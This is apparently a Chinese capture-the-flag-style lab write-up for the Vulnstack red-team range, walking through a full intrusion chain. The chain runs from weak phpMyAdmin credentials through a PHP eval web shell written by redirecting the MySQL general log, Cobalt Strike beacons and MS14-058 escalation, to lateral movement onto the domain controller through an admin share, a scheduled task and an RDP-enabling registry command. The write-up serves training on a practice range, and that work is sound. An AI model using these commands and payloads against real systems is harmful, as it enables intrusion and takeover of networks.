Vulnstack | ATT&CK实战系列:红队实战(一)
2024-10-13 10:27:42 Author: www.freebuf.com(查看原文) 阅读量:3 收藏

前言

红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。

环境搭建

下载地址:

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

image-20240912191651321

下载后解压为 3 个虚拟机,网络拓扑如下:

绘图2 (1)

1.在vmware打开三个虚拟机

image-20240912192021559

2、根据下图所示,需要模拟内网和外网两个网段, Win7 虚拟机相当于网关服务器,所以需要两张网卡,故需要配置两个网络适配器(网卡),点击添加网络设配器:

image-20240912192336313

3.根据内网的三个主机配置到VMnet3的网卡中,将VMnet3的ip段设为192.168.52/24,将外网网卡设置为net

image-20240912192622208

image-20240912192833914

image-20240912192858173

虚拟机所有统一密码:hongrisec@2019

4、至此网络配置完成,现在可以登进去每个服务器看一看,是不是成功获取了IP,这三台虚拟主机默认开机密码都是hongrisec@2019(有的会提示密码已过期,更改为 hong@2019 即可),最终形成的 IP 划分情况如下:

主机IP地址
Win10 物理机192.168.197.1(VMnet8网卡网关)
Win7 外网服务器外网IP:192.168.197.132;内网IP:192,168.52.143
Win2K3 Metasploitable 域成员内网IP:192.168.52.141
Win 2008 域控主机内网IP:192.168.52.138
kali攻击机外网IP:192.168.197.128

5.在win7外网服务器中打开web服务

在C:\phpStudy\下打开phpstudy

image-20240912194400128

ps:如果开启失败重启win7的虚拟机

6.关闭三个主机的防火墙

Web渗透

1.信息收集

(1).用nmap扫IP

nmap 192.168.52.0/24 

image-20240912195525938

(2).用dirsearch扫目录

python3 dirsearch.py -u 192.168.197.132

image-20240912195535120

(3).访问首页

image-20240912195823356

2.获取webshell

(1)尝试弱口令 root:root

image-20240912195855082

(2).访问/phpMyadmin

image-20240912195928135

(3).登录

image-20240912200019784

(4).先尝试直接使用into outfile导出木马的方式是否可行,先执行select @@basedir;查网站的物理路径:

image-20240912200245840

(5)那么执行select '<?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/111.php';写入木马到网站的根目录,写入失败

image-20240912200332731

(6)通过 MySQL 日志导入木马。先执行命令:show variables like '%general%';查看日志状态:未开启

image-20240912200433595

(7)开启日志

SET GLOBAL general_log='on';
show variables like '%general%';

image-20240912200521490

(8)当执行sql语句后会存储在日志中,我们可以修改日志路径,写入到网站根目录的 111.php 文件

SET GLOBAL general_log_file='C:/phpStudy/www/shell.php'

(9)接下来执行 SQL 语句:

SELECT "<?php @eval($_POST['cmd']);?>"

即可将一句话木马写入 shell.php 文件中:

(10)访问http://192.168.197.132/shell.php,用哥斯拉连接

image-20240912200951545

看网站根目录还有一个文件夹

image-20240912201059227

可以访问一下

内网渗透

1.CS上线

用kali打开cs服务器

./teamserver 192.168.197.128 123456

打开客户端开启监听生成木马,通过哥斯拉传入

image-20240912202746538

image-20240912202859076

执行木马程序

image-20240912202949776

上线成功

image-20240912203012364

2.信息探测

通过FScan内⽹综合扫描⼯具扫描

使⽤sock代理执⾏

image-20240912203140359

image-20240912203209771

使用proxifier

image-20240912203408748

代理成功

在物理机执行fsan.exe

fscan.exe -h 192.168.52.0/24

image-20240912203544801

或者

image-20240912205344833

三个主机IP已知

抓取明文密码

image-20240912204246488

image-20240912204234047

3.提权

通过MS14-058漏洞提权

image-20240912203740937

提权成功

image-20240912204020540

4.横向移动

image-20240912205449078

image-20240912205538741

image-20240912205552819

image-20240912205648454

image-20240912205706549

连接不上

image-20240912210145108

换种方法

正向监听4444

image-20240912210209994

生成木马上传

image-20240912210323214

image-20240912210257995

image-20240912210337503

#将正向⽊⻢放⼊webadmin的桌⾯,然后拷⻉执⾏⽂件到⽬标机器
beacon> shell copy zx.exe \\192.168.52.138\c$
#添加计划任务,修改下⾯时间
beacon> shell at \\192.168.52.138 21:06 c:\zx.exe
#等待时间到了以后,连接正向⽊⻢,控制域控
connect 192.168.52.138

image-20240912210718311

image-20240912210713970

等到时间就会连接

image-20240912210838718

5.远程连接

beacon>shell REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

image-20240912213237695

在win7远程连接DC 账号:密码 administrator:hong@2019

image-20240912213313833


文章来源: https://www.freebuf.com/vuls/412751.html
如有侵权请联系:admin#unsafe.sh